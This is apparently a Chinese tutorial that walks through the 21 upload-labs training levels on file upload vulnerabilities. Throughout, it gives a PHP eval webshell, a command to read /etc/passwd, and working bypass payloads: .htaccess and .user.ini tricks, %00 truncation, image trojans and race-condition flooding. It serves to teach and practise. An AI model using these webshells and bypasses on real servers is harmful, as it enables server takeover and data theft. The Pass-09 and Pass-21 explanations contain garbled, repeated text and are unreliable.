文件上传漏洞知识+21关文件上传漏洞教程
本文章仅作为技术分享,请勿使用此技术用于违法犯罪,后果自负!!!
目录
1.文件上传漏洞的产生和危害
1.1、文件上传漏洞的产生原因
1.2、文件上传漏洞的危害
2、一句话木马与phpinfo()文件访问对比
一、一句话木马文件的访问显示
二、phpinfo()文件的访问显示
3.文件上传检测绕过
upload-labs靶场安装
Pass-01(JS前端验证)
方法一:
方法二:
Pass-02(MIME验证)
方法一
方法二:
Pass-03(黑名单验证)
Pass-04(黑名单验证.htaccess)
方法一:
方法二:
1.新建文件.htaccess,并上传
2.把 php 文件重命名
Pass-05(黑名单验证 .user.ini.)
Pass-06(大小写绕过)
Pass-07(末尾空格)
Pass-08(增加一个.)
Pass-09(增加一个::$DATA)
Pass-10(代码不严谨,点+空格+点绕过)
Pass-11(PPHPHP)
Pass-12(0x00 截断)
Pass-13(Post 0x00 截断)
Pass-14(图片木马,图片马+文件包含)
Pass-15(图片木马,getimagesize()绕过)
Pass-16(图片木马,exif_imagetype()绕过)
Pass-17(二次渲染绕过)
Pass-18(条件竞争)
Pass-19 (条件竞争二-解析漏洞)
Pass-20 (逻辑漏洞)
方法一:
方法二:
Pass-21(逻辑漏洞·数组绕过,白名单)
1.文件上传漏洞的产生和危害
1.1、文件上传漏洞的产生原因
- 缺乏严格验证: 服务器端代码在上传文件时,没有或未充分进行以下关键验证:
-
- 文件类型/扩展名: 仅依赖客户端验证(易被绕过)或未检查真实文件类型(如只检查 MIME 类型,不检查文件内容签名)。
- 文件内容: 未检测文件中是否包含恶意代码(如 Webshell 代码)。
- 文件大小: 未限制或限制过大。
- 文件名: 未对文件名进行安全过滤或重命名,可能导致覆盖重要文件或执行特定扩展名文件。
- 上传路径: 允许用户指定上传路径,或将文件保存在 Web 可访问目录下且具有执行权限。
- 配置错误: 服务器(如 Web 服务器、中间件)配置不当,允许特定目录执行脚本,或错误解析文件类型(如将
.jpg
文件当作.php
文件解析)。 - 文件上传路径一般是
upload
,uploads
,或者根目录下面
1.2、文件上传漏洞的危害
- 完全控制网站/服务器: 攻击者上传 Webshell(如 PHP、JSP、ASP 脚本),通过该脚本直接在服务器上执行任意命令,获取服务器最高权限。
- 网站篡改与挂马: 上传恶意脚本或网页文件,篡改网站内容、挂黑链、植入博彩/色情页面,或向访问者传播恶意软件(如木马、勒索软件)。
- 数据泄露与破坏: 利用 Webshell 窃取数据库信息、用户敏感数据(密码、个人信息),或直接删除、破坏服务器上的重要数据。
- 成为攻击跳板: 被攻陷的服务器可能被用来发起 DDoS 攻击、扫描内网、攻击其他服务器,或作为恶意软件的传播节点。
- 信誉损害与法律风险: 网站被篡改或被用于非法活动,导致用户信任丧失、品牌声誉受损,甚至可能面临法律诉讼或监管处罚。
核心要点: 漏洞产生的根源在于服务器端对用户上传的文件缺乏充分且有效的安全检查和限制,导致攻击者能够上传并执行恶意代码,从而造成极其严重的后果。
2、一句话木马与phpinfo()
文件访问对比
以下分析基于上传后的两个文件:
- 一句话木马文件:
<?php @eval($_POST['cmd']); ?>
- PHP信息探测文件:
<?php phpinfo(); ?>
一、一句话木马文件的访问显示
- 直接访问效果:
页面显示空白,无任何可见内容。 - 技术原理:
-
@eval($_POST['cmd'])
表示静默执行POST参数中的代码,但未传递参数时不会主动输出内容3。- 该文件本质是后门控制器,需通过工具(如蚁剑、菜刀)或手动POST请求注入指令才能触发操作。
- 实际用途:
攻击者通过POST传递恶意指令(如cmd=echo file_get_contents('/etc/passwd');
),可窃取数据、控制服务器23。
二、phpinfo()
文件的访问显示
- 直接访问效果:
显示完整的PHP配置信息页面,包含以下关键内容:
-
- ✅ PHP版本(如
PHP 8.1.2
) - ✅ 服务器环境(Apache/Nginx版本、操作系统类型)
- ✅ 核心配置参数(如
allow_url_fopen
、safe_mode
状态) - ✅ 已加载扩展模块(如GD库、OpenSSL支持情况)
- ✅ 环境变量(
$_SERVER
全局变量详情)25。
- ✅ PHP版本(如
- 技术原理:
phpinfo()
是PHP内置函数,调用后自动输出当前环境的运行时配置,无需外部参数。
3.文件上传检测绕过
靶机包含漏洞类型分类
如何判断上传漏洞类型?
upload-labs靶场安装
https://github.com/c0ny1/upload-labs
配置要求如下,要求还是挺苛刻的,下面使用集成好了的环境
upload-labs 是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。
<?phpphpinfo();
?>
Pass-01(JS前端验证)
方法一:
思路
这个主要是 js 验证,很容易通过
步骤
保存当前页面
然后进去修改源码
第一步修改为if语句不成立就行
第二部加个action语句,action为提交路径
<form action="http://localhost/upload/Pass-01/index.php" enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
让它能够访问我们的目标地址
然后保存,浏览器直接访问我们的这个图片,可以把这个图片直接拖到浏览器上面,然后上传info.php文件就行
最后访问图片地址
方法二:
准备一句话木马:
<?php
@eval($_POST['cmd']);
?>
并且修改文件名为1.png,上传操作,通过burpsuit抓包改包,使其后缀名修改回php。
上传成功后用蚁剑连接看一下:
成功!
下一关。
Pass-02(MIME验证)
我们先看源码:
方法一
通关步骤
- 准备.php木马,点击上传,用BP拦截请求包;
- 在BP中找到Content-Type字段(通常在文件上传参数附近,如Content-Type: application/x-httpd-php);
- 将Content-Type值修改为合法图片类型,如image/png或image/jpeg;
- 点击「Forward」放包,文件上传成功;
- 访问上传后的PHP文件,完成通关。
我们先上传一个info.php,然后bp抓包
说是我们的文件类型不对,我们用BurpSuite抓包看一下
我们可以看到我们的文件类型是application/octet-stream(二进制数据类型)
修改文件类型:
既然它提示我们的是上传的数据类型不对,那么后端大概率检测的是我们上传文件的文件类型,那么我们在抓包这块将文件类型改为img的文件类型,
类型:image/jpeg
试一下我们的结果是否可行,很明显,我们上传成功,
复制图像地址,访问就行了。
方法二:
准备一句话木马:
<?php
@eval($_POST['cmd']);
?>
并且修改文件名为1.png,上传操作,通过burpsuit抓包改包,使其后缀名修改回php。
上传成功后用蚁剑连接看一下:
下一关。
Pass-03(黑名单验证)
通关步骤
- 将一句话木马的后缀改为如
.php3
); - 直接上传文件,因
.ph3
不在黑名单内,上传成功; - 访问连接即可。
思路
我们上传了一个php文件
<?phpphpinfo();
?>
发现它不准我们上传
先查看源码:
apache 服务器能够使用 php 解析.phtml.php3,它可以把这些当成php文件执行
所以我们上传.php3的文件
<?phpphpinfo();
?>
然后就成功了
下一关。
Pass-04(黑名单验证.htaccess)
方法一:
黑名单过滤不完整
- 可利用特殊符号绕过:如
.php%00.jpg
(NULL 字节截断) - %00截断时注意是get提交还是post提交,post提交需要再URL编码一下。
方法二:
思路
使用.htaccess(超文本访问)
是许多 Web 服务器根据目录应用设置的有用文件,允许在运行时覆盖 Apache 服务器的
默认配置。使用.htaccess,我们可以在运行时轻松启用或禁用任何功能
1.新建文件.htaccess,并上传
<FilesMatch "loudong.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
2.把 php 文件重命名
写一个phpinfo();
<?php
phpinfo();
?>
重命名为loudong.jpg
然后再上传它
下一关。
Pass-05(黑名单验证 .user.ini.)
通关步骤:
- 先创建一个.user.ini文件并把它上传
auto_prepend_file=web.jpg
- 再上传一个webshell.jpg,等待300s即可
思路:
这关多过滤了个.htaccess
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
创建一个.user.ini文件并把它上传
auto_prepend_file=web.jpg
.user.ini文件里的意思是:所有的php文件都自动包含web.jpg文件。.user.ini相当于一个用户自定义的php.ini
<?php phpinfo();
?>
由于.user>.ini
的特性是读取用户 INI 文件的间隔时间是300秒 ,所以我们在五分钟后可以对文件进行访问。除此之外,也可以直接重启phpstudy或者修改php.ini,将user_ini.cache_ttl
修改为30秒,修改后保存php.ini文件并重启phpstudy
Pass-06(大小写绕过)
通关步骤
- 将一句话木马命名为 .PhP(后缀含大写);
- 直接上传,因
.PhP
不在黑名单内,上传成功; - Apache默认不区分大小写,
.PhP
会被解析为.php
思路
我们先看源码:
对比之下,发现第五关没有转化为小写,所以我们可以通过大小写来文件上传,
所以上传info.php,然后bp抓包:
然后就成功了
下一关。
Pass-07(末尾空格)
先看源码
思路就是在文件后面加上空格,但由于windows特性,文件名后空格会被直接删除,不能直接上传.php后加空格,所以我们要用burp抓包然后再添加空格。
然后就成功了,复制图像地址,去访问就行了。
Pass-08(增加一个.)
阅读代码发现缺少了deldot函数 删除文件名最后一个点(如果有多个连续的… 会全部删除)
这个函数是作者自己写的 以我现在的水平看不懂 以后再来分析
依旧是用首尾去除空格的后的原来的文件名来保存文件 没有截取后缀名
那么就和第七关同理 获取的最终文件后缀为“.” 不在黑名单里面
利用Windows系统保存文件的特性 会删除文件后缀名的xxx.php. 最后上传的文件还是xxx.php
所以bp改包,在后面加个点.
Pass-09(增加一个::$DATA)
这一关黑名单,没有对::D A T A 进行处理使用 : : DATA 进 行 处 理 使用::DATA进行处理使用::DATA 进行处理,可以使用::$DATA绕过黑名单
补充知识:php在window的时候如果文件名+“::D A T A " 会把 : : DATA"会把::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA"之前的文件名
例如:"phpinfo.php::$DATA"Windows 会自动去掉末尾的::$DATA 变成"phpinfo.php
bp抓包然后加上::$DATA
注意访问的时候,要把末尾去除,不然就访问失败
这样就成功了
下一关。
Pass-10(代码不严谨,点+空格+点绕过)
在php非nts版本下
运行模式为 Apache 2.0 Handler
可以尝试 Apache的未知后缀名解析漏洞 和 info.php.jpg
在php的nts版本中 运行模式为cgi/fastcgi
用 info.php. .绕过
代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的10.php. .来保存文件 由于windows在
文件命名中会自动删除.和空格 所以最终得到的是10.php 因此绕过了黑名单限制
借助的是代码不严谨
deldot,即从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为
止。
而如果中间有个空格,就不会继续删除
下一关。
Pass-11(PPHPHP)
str_ireplace 函数用于字符串替换操作,不区分大小写
其语法是 str_ireplace(find,replace,string,count)。参数 find 必需,规定要查找的值;replace 必需,规定替换 find 中的值的值;string 必需,规定被搜索的字符串。
所以如果结尾是php结尾的话,它找到就干掉了,它从左到右找的
pphphp、phpphp都可以尝试
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
bp抓包改后缀名。
Pass-12(0x00 截断)
这个案例要求
php 的 magic_quotes_gpc 为 OFF 状态,关键的代码在于这里的’save_path 是一个可控的变量,但是后面还拼接上一个后缀名,也需要绕过
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
关于 0x00 截断
00 截断是操作系统层的漏洞,由于操作系统是 C 语言或汇编语言编写的,这两种语言
在定义字符串时,都是以\0(即 0x00)作为字符串的结尾。操作系统在识别字符串
时,当读取到\0 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通
过修改数据包,插入\0 字符的方式,达到字符串截断的目的。
save_path=../upload/
filename="loudong.jpg" 正常情况:../upload/loudong.jpg
save_path=../upload/1.php%00
filename="loudong.jpg"
拼接的路径为:../upload/1.php%00loudong.jpg :由于%00 当作结尾,故最终保存的文件
为../upload/1.php
代码漏洞点就在于 用$_GET[‘save_path’]来组成上传的文件路径 而这个get传参是我们可以控制的地方
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
只不过GET传参需要url编码成%00而已
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
%00截断
%00的使用是在路径上!
%00的使用是在路径上!
%00的使用是在路径上!
重要的话说三遍。如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg
示例如下:
注意看:
所以我们可以利用loudong.jpg构造loudong.php
Pass-13(Post 0x00 截断)
和上面一题代码对比,这里使用的是 Post 方式
但和 get 对比,需要多做一次解码的工作
GET 型提交的内容会被自动进行 URL 解码,在 POST 请求中,%00 不会被自动解码
所以我们要利用bp给他URL解码
只不过是比11关多了一个解码过程
不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00
自动解码成功后,后面的%00是不会显示的
Pass-14(图片木马,图片马+文件包含)
通关步骤
- 制作图片马:用
copy image.png /b + info.php /a webshell.png
(Windows命令),将PHP木马嵌入图片; - 上传cmd.jpg,因前2字节为FF D8,通过内容校验;
- 靶场提供文件包含页面(如include.php),构造URL:http://xxx/include.php?file=upload/webshell.png;
这个案例会验证上传内容,确认是图片格式,所以不能简单把 php 转化为 jpg,需要使用图片木马
大致意思就是读取文件头的两字节 将二进制数据转换为ASCII值 进行switch比较 也就是说只验证文件头信息
图⽚⽂件头以及解码(16进制)
JPEG
- ⽂件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG ⽂件标识)
- ⽂件结束标识 (2 bytes): 0xff, 0xd9 (EOI)
2.PNG
- ⽂件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
3.GIF
- ⽂件头标识 (6 bytes) 47 49 46 38 39(37) 61
G I F 8 9 (7) a
那么直接上传图片马就完了
但是呢,你是不是想直接在一个图片后面加<?php phpinfo(); ?>,但是这个是错的,我们需要命令来拼接,具体什么含义后面图片渲染会具体告诉大家
将普通图片和php融合。
首先准备一张含有php代码的文件,还有一张普通图片。
在上面输入cmd打开终端,输入下面这行代码。
copy image.png /b + info.php /a webshell.png
然后新的图片就融合好了。
上传即可。
上传完之后我们直接访问图片地址是错的,因为这里要用到文件包含漏洞,文件包含漏洞这里只是简单提一下,具体后续我们会告诉大家
利用文件包含漏洞 将含有php代码的图片马当做php文件解析
文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写
这里利用get传参 将图片木马里面的代码复制过来并执行
进去后是这个页面,它主要是说可以拼接一个file来读取路径
这里拼接的话直接拼接它后面的图片地址就可以了
Pass-15(图片木马,getimagesize()绕过)
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并
产生一条 E_WARNING 级的错误信息
和14关的步骤一样,上传图片木马就行。
Pass-16(图片木马,exif_imagetype()绕过)
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}
PHP 中的 exif_imagetype()函数用于确定图像的类型。此函数读取给定图像的第一个字节并检查 其签名
当找到正确的签名时,则 exif_imagetype()返回适当的常量值;否则它返回 False。
和13关的步骤一样,上传图片木马就行。
Pass-17(二次渲染绕过)
通关步骤
- 上传一张正常GIF图片(GIF渲染后变化较小),下载渲染后的图片;
- 用010Editor对比原GIF和渲染后GIF的Hex,找到完全相同的区域;
- 在该区域嵌入PHP木马(如 <?php phpinfo();?> );
- 上传修改后的GIF图片,后端渲染后木马仍保留;
- 文件包含include.php?file=upload/xxx.gif,访问即可。
思路
这个案例使用的是 imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif
三个不同的方法来验证不同的文件,绕过格式不正确,会报出异常
但这题重新渲染了图片,植入木马的图片实际已经被删除了
这个案例建议使用 gif 的文件来上传木马,gif 最高支持 256 种颜色。由于这种特性,重新渲染
改动不会太多!
步骤
可以下载下面这个,会看起来更直观
https://www.sweetscape.com/010editor/
它这个的话会让你的二次渲染看起来更直观。
所以我们先上传一个webshell.gif
上传后另存为一张新的图片
- 打开我们的 010Efitor
- 把webshell.gif和保存的另一张 .gif图片拖进去,我刚刚保存下来的图片是18709.gif
- 找相同的地方,插入代码 <?php phpinfo(); ?>
在18709.gif插入代码后,保存
上传18709.gif发现图片颜色改变了,说明渲染成功了
拼接路径
Pass-18(条件竞争)
通关步骤
- 上传info.php
- bp设置无线发包
核心原理
后端逻辑:先保存文件→校验后缀→合法则重命名,不合法则删除。可利用“保存后→删除前”的时间差,访问文件生成永久WebShell。
这个是白名单验证,unlink 函数是删除文件
rename 函数进行文件的移动(也会删除源文件),注意这个代码可以借助文件包含漏洞,但这个代码明显不允许使用了
rename($upload_file, $img_path);
但仔细看这段代码,是不管什么文件都能传,但不管是否图片,后门都删除,可以考虑条件竞争
就是没删除之前,
如果文件是打开的状态,可能删除失败,这样就能保留原理的文件
步骤:
上传一个info.php
<?php phpinfo(); ?>
burp suit抓包,并发送到爆破模块
在info.php后面设置一个payload
选择NULL payload模式
选择持续性攻击,然后右上角的攻击
然后换个浏览器访问就行了,因为我们测试的浏览器以及被bp占用了,它持续性发包,所以我们不能关
多访问几次就进去了,它这个是一直发包一直删除,所以可能前几次访问不出来
http://localhost/upload/info.php
Pass-19 (条件竞争二-解析漏洞)
这代码一看就是白名单,只允许上传这里面的文件,所以不能传 php 等文件
文件上传之后又对其进行了重命名,不能使用文件包含的漏洞
结合 apache 的解析漏洞,考虑 apache 未知扩展名解析漏洞
不管最后后缀为什么,只要是.php.*结尾,就会被 Apache 服务器解析成 php 文件!
这里是先移动文件,再修改文件名,所以的话是存在利用条件竞争
步骤:
复制一个文件,后增加后缀 7z
剩下的和上一关一模一样
Pass-20 (逻辑漏洞)
方法一:
上传一个loudong.jpg
然后看它会保存为upload-19.jpg
抓包把jpg后缀改为php,但是因为他只能识别.jpg图片,所以后缀最终是
loudong.php.jpg
发现它这样就不能解析php文件了所以你想到用%00来阶段它: loudong.php%00.jpg
因为他是post传输,所以把%00解码一下
然后访问图片地址
方法二:
看到这里,如果文件名是upload-19.php/.是可以通过的
那么验证的是php./是可以通过的
Pass-21(逻辑漏洞·数组绕过,白名单)
通关步骤
- 准备loudong.jpg,上传并拦截请求;
- 找到filename参数,将其改为数组格式:
- 原参数:filename=loudong.jpg
- 改后:filename[0]=loudong.php&filename[2]=jpg(索引1留空,切割时后缀为空,绕过白名单);
- 放包后,文件保存为loudong.jpg,用蚁剑连接即可。
核心原理
后端校验用户输入的文件名(非数组时切割后缀),可构造数组绕过切割逻辑,使最终文件名含.php
。
源码逻辑:判断 POST参数 save_name 是否为空,判断$file 是否为数组,不是数组以 .分割化为数组取 $file 最后一个元素,作为文件后缀进行检查取 f i l e 第 一 位 和 第 ‘ file 第一位和第` file第一位和第‘file[count($file) - 1]`作为文件名和后缀名保存文件索引[0]为2.php,
索引[2]为jpg|png|gif。
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过
上传一个loudong.jpg抓包
修改数组参数
访问即可